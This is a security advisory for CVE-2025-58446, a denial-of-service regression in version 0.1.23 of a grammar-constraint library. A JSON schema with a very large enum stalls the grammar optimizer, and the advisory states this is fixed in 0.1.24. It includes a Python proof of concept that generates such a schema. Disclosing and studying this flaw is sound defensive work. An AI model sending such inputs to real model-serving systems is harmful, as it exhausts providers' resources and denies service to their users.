Skip to content

Denial of service by huge enum grammar

Moderate
Ubospica published GHSA-9q5r-wfvf-rr7f Sep 5, 2025

Package

No package listed

Affected versions

0.1.23

Patched versions

0.1.24

Description

Summary

Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. I tested it with 0.1.16 and it worked fine so this seems to be a regression caused by Earley parser.

Details

Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.

Patch

This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.

Thanks to @Seven-Streams

PoC

import string
import random

def enum_schema(size=10000,str_len=10):
    enum =  {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
    schema = {
        "definitions": {
            "colorEnum": enum
        },
        "type": "object",
        "properties": {
            "color1": {
                "$ref": "#/definitions/colorEnum"
            },
            "color2": {
                "$ref": "#/definitions/colorEnum"
            },
            "color3": {
                "$ref": "#/definitions/colorEnum"
            },
            "color4": {
                "$ref": "#/definitions/colorEnum"
            },
            "color5": {
                "$ref": "#/definitions/colorEnum"
            },
            "color6": {
                "$ref": "#/definitions/colorEnum"
            },
            "color7": {
                "$ref": "#/definitions/colorEnum"
            },
            "color8": {
                "$ref": "#/definitions/colorEnum"
            }
        },
        "required": [
                "color1",
                "color2"
         ]
    }
    return schema

schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))

where:

def test_schema(schema, instance):
    grammar = xgr.Grammar.from_json_schema(
        json.dumps(schema),
        strict_mode=True
    )
    return _is_grammar_accept_string(grammar, json.dumps(instance))

Impact

DOS

Severity

Moderate

CVE ID

CVE-2025-58446

Weaknesses

No CWEs

Credits